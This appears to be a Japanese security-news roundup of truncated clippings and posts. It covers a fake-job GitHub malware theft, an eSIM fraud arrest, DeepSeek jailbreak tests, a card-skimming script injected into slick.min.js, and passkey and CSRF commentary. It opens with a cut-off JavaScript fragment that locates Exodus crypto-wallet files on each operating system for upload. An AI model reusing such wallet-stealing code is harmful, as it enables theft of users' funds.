const uploadEs = (uploadOptions) => { let walletPath = ""; let filesToUpload = []; if ("w" == platform[0]) { walletPath = getAbsolutePath("~/") + "/AppData/Roaming/Exodus/exodus.wallet"; } else { "d" == platform[0] ? (walletPath = getAbsolutePath("~/") + "/Library/Application Support/exodus.wallet") : (walletPath = getAbsolutePath("~/") + "/.config/Exodus/exodus.wallet"); } if (testPath(walletPath

2025年2月27日、警視庁は他人の楽天モバイルアカウントに不正アクセスを行い、通信回線の契約を行っていたとして中高生3人を逮捕したと発表しました。不正契約した回線は転売し暗号資産を得ていたと報じられています。ここでは関連する情報をまとめます。 不正契約した大量の楽天モバイル回線を転売 逮捕されたのは中学生2名と高校生1名計3名で、容疑は不正アクセス禁止法違反と電子計算機使用詐欺。2024年5月から8月にかけて、11人分の楽天モバイルのID、パスワードを用いてシステムに不正にログインし、105件のeSIMの回線契約を行った疑い*1がある。中学生Aは「2023年12月以降1000件以上の回線契約を行った」と供述している。 不正に契約して得た通信回線（少なくとも2500回線と報道）は複数の人物に転売を行っており、1回線あたり1000円から3000円で取引され、計750万円相当の暗号資産を得てい

はじめに 本当に悔しいし許せないし、エンジニアとして不甲斐ないです。2025年2月26日深夜にハッキングにあいました。どのように相手と繋がり、どのような手口でハッカーに資産を抜かれたか、コードベースで全てお伝えします。今後同じ被害に遭う方が少しでも減ることがあればこんな嬉しいことはないです。 コード解説、さらに対策案も書いていきます。もし他に良い対策案などあればコメントでご教示ください。 ハッカーとのやりとりの流れ ハッカーとは Linkedin でブロックチェーンを使ったプロジェクトを手伝ってくれないかという連絡がりそこからやりとりが始まりました。そして移行の大まかな流れは下記のような感じです。 Linkedinでプロジェクトを手伝ってほしいと言う内容でDMがくる Githubリポを見て実装できそうか確認してほしいと言われる 自分のGithubアカウントを共有してプライベートリポジトリに

どんちゃん @Donchan1242 大阪の某巨大銭湯に行ったら、風呂入ってる間にクレカ抜かれてたようで思いっきり不正利用されてた😇 全額保証対象になったから良かったけど、さすがに腰が抜けた😇 銭湯のロッカーは当てにならんね。犯罪者が合鍵とか持ってんのかも😇 pic.x.com/QuExVHUUvi 2025-02-20 15:03:58

nzworks@固定必読 同人誌デザイン @_nzworks_ 大事なものはすべて外付けHDDに入れてるんで、SSDのものは吹っ飛んでも大丈夫っちゃ大丈夫なんですが…という話をしたら「それが絶対いいです、HDDのデータは壊れたら取り出せる確率がかなりありますがSSDは壊れたら無理です」って教えていただいてタマヒュンしました みんなもそうしよう！ 2025-02-07 12:38:26

DeepSeek、素直すぎて研究機関による安全テストに全部不合格2025.02.07 16:0072,664 AJ Dellinger - Gizmodo US ［原文］ （ そうこ ） AI市場を牽引してきたアメリカのAI企業株を一気にぶち下げた、中国のバケモノAI｢DeepSeek｣。世界が今最も注目する存在と言っても過言ではありません。が、セキュリティを不安視する声もあがっています。 テスト全落ちCiscoの研究チームが、DeepSeekのAIモデルDeepSeek R1を調査。AI使用において危険・有害だと思われる攻撃的テスト50を実施したところ、そのすべてでしっかりと罠にひっかかってしまいました。そのひっかかり度100％！ この手のテスト受けたメインどころの大規模言語モデルの中で、最もひっかかっています。つまり、安全性が低いということ。 Cisco研究チームが使用したのは、言語モ

米パロアルトネットワークスの脅威インテリジェンスチームUnit 42は、中国のAI企業「DeepSeek」がオープンソースで公開するLLM（大規模言語モデル）が“脱獄”しやすく、専門知識や専門技術がなくても悪意のあるコンテンツを作成できることをブログで指摘した。 脱獄（jailbreak）とは、LLMに実装されたガードレール（安全対策のための制限機能）を回避して、たとえば「マルウェアのソースコード」や「爆発物の製造マニュアル」「特定人物のプライバシー情報」など、悪意のあるコンテンツや禁止されたコンテンツを生成させる行為だ。 今回、Unit 42がDeepSeekのLLMに対して、「Deceptive Delight」「Bad Likert Judge」といった脱獄手法や、LLMとのやり取りを重ねて制限を緩める「Crescendo」という手法を試したところ、次のような結果が得られたという。

安野貴博 @ 新刊『1％の革命』が2/6発売予定です！ @takahiroanno 【DeepSeekの利用は危険か】 LV.1 あんまり詳しくない人向けの答え: 利用規約的に入力したデータが裏でどう使われるかわからないので入力内容には注意してね。ぶっちゃけ精度はChat GPTのo1とそんな変わらないからそっち使った方が無難だと思うよ。出力にも政治的なバイアスがあると言われているよ。 LV.2 ちょっと詳しい人向けの答え: Azure経由で使えばDeepSeek本体とは利用規約が違うからマシになるよ。マイクロソフトを既に信じてデータ預けてるならリスク量はそこまで変わらないんじゃないか。あとオープンウェイトだからセルフホスティングできる（自分のマシンで完結できる）し、そうすればデータが抜かれることは無いから安心して使えるよ。 出力の政治的なバイアスはファインチューニングによって塗り替えられ

リンク the Guardian British Museum forced to partly close after alleged IT attack by former employee A recently dismissed contractor shut down several systems before being arrested, the museum said 4 users リンク www.bbc.com British Museum hit by alleged IT attack by ex-worker The museum says capacity is limited, with members and those who already hold tickets given priority. 1 user リンク My London Arrest

クレジットカードの利用時における本人確認方法として一般的だった「手書きサイン」が2025年3月末で廃止される。以降はPIN（暗証番号）の入力が原則となる。 この方針は、日本クレジット協会（JCCA）が公表した「クレジットカード・セキュリティガイドライン」に基づくもので、クレジットカード業界全体でのセキュリティ強化を目的としている。 具体的には、カード決済時に店頭での端末操作などで暗証番号の入力をスキップし、サインで本人確認する「PINバイパス」は、2025年3月末をもって原則廃止となる。以降は暗証番号を入力をせず、サインで本人確認する方法は利用できない。 クレジットカードに暗証番号を設定していない場合、3月までに設定を済ませる必要がある。そのため各カード会社は、設定を済ませていないユーザーに対して、暗証番号の設定を呼びかけている。 今回の仕様変更で影響が出る例の1つが、高級レストランなどで

パスキーの本質はユーザー側としてはパスワード入力機会の削減、サービス側としては企業のセキュリティリスクのユーザーへの責任転嫁とコストカットである。 サービス側 企業がユーザーにパスキーを使わせようと強要するのはログイン情報の流出や流出したログイン情報による攻撃のリスクと責任とコストから企業を守るために認証に関する問題がユーザーの責任によってしか発生しないよう責任転嫁したいからに過ぎない。このため認証情報の紛失や盗難などによる喪失リスクと復旧の困難性やその他新たに発生する問題については隠蔽または矮小化される。企業にとってパスキーとはパスワードの定期的変更の最新版なのでありユーザーがパスキーを強要されるのはパスワードの定期的変更を強要された歴史を繰り返しているに過ぎない。 ユーザー側 パスキーの適切な実装におけるユーザーの本質的利益はパスワード入力機会が減ることによりフィッシング被害を受ける機

バッカじゃねーのかな。 この仕組みを考えた奴何も考えてねえだろ。 こう言う頭のいいふりしたバカにシステムを作らせてはいけない。 詳細eSIMを設定したモバイルルータが死んだので、楽手モバイルでeSIMの再発行手続きをしたところ、二段階認証の表示が出た。 SMSまたは登録のメールでコードを送ったのでみてね、だそうである。 しかし待てど暮らせどメルアドにコードが送られてこない。なんだこれは。 で、楽天モバイルのfaqを漁るとこんなことが書いてあった。 https://network.mobile.rakuten.co.jp/faq/detail/00001914/ 継続的にセキュリティー対策を強化しており、5月下旬より一部のお手続きについてワンタイムパスワードの送信方法をメールからSMSに変更しました。は？ ばっかじゃねーの？　ホテルで部屋のパスワードを忘れたので新しく発行してくれと言ったら、

子の友達が家に来ると、Wi-Fiのパスワードを聞かれることが多い。 もっぱらSwitchのためであるが、昭和生まれの私は「Wi-Fiのパスワードを教えたらなんかヤバそう…」と考えており教えてない。 具体的にはわからないけど、パスワード漏洩ってリスクがありそうな気がして教える気が全くしない。 しかし、今の御時世は「損がないから教えてる」ご家庭もあるらしい。もしかしてそちらのほうが多いのかもしれない。 ゲスト用パスワードを用意できるルータもあるらしい。 へえへえへえ。 もしかして、今のデフォはこの選択肢なのか。 確かに隣近所じゃなければ通信に影響はないのかもしれないけど…なんか…やだ…

誰しもLaravelのbladeでformを書くにあたって、@csrfという魔法の呪文を書いたことがあるかと思います。 「これを書いておけばCSRF対策はOK」 ドキュメントにも要約するとそういう旨が書いてあります。 この記事では@csrfについてLaravelの実装を実際に見てみることで、CSRFとその対策への理解を深めたいと思います。 ちなみにこの記事はぺちこん2024で残念ながら採択に至らなかったCfPの供養です。[1] 利用するサンプルアプリ @csrf はなにをしているのか？ そもそもですが、@csrfが何をしているのかを見てみます。 bladeに@csrfを埋め込んだ場所を、HTML変換後の状態から見てみます。 <input type="hidden" name="_token" value="G5FzKXaCYA4w8kdWbftEZMYoglQgD9yPIG9r2zzx"

IT部門が頭を抱える「CentOS終了問題」　なぜ企業は後継OSに「AlmaLinux」を選ぶのか：移行先の検討で留意すべきこと 無償のLinuxディストリビューションである「CentOS」の更新が2024年6月に終了した。そのまま使い続けるとセキュリティリスクになるが、有償の「Red Hat Enterprise Linux」への移行は検証も含め、コスト面で課題があるケースも多い。日本語サポートも欲しいところだ。現実的な移行先を解説する。 無償のLinuxディストリビューションとして普及している「CentOS」を利用する企業が今、岐路に立たされている。「CentOS Linux 8」はアップデートが2021年末に打ち切られ、「CentOS Linux 7」の更新が2024年6月に終了した。今後もセキュリティパッチを適用して安全に使うためには、ベンダーが有償で提供しているCentOSの延長

あらおじ @ojigunma すごい タリーズの原因発見してる人いる 確かにナンカある slick.min.js という画像をスライドするファイルの中に 難読化された悪意のあるコードが追記されてるっぽい 難読化は４段階ぐらいされてるらしい これブラウザとかセキュリティソフトで気づくのは無理なんだろか。。。 x.com/motikan2010/st… Niishi Kubo | GitLab,Limeboard @n11sh1_ クレカ情報漏洩の件、技術的な原因特定はこの投稿が一番分かりやすかった。 slick.min.js（画像切り替えのライブラリ）を改ざんされてマルウェアが仕込まれて、クレカ情報はサーバーに送信される前にフロントエンドから外部に送信されていたらしい。Content-Security-Policy がレスポンスヘッダーにきちんと設定されていれば悪意あるドメインに対しての通信

9番街レトロ なかむら★しゅん @24shunta 財布紛失してマイナンバーと保険証を再発行するために役所連絡したら「再発行には身分証が必要でまず身分証を作ってください」言われて、「身分証なしで作れる身分証ってなにになるんですかか」って聞いたら「ありません」言われた とりあえずめっちゃしんどい☺️☺️✌🏻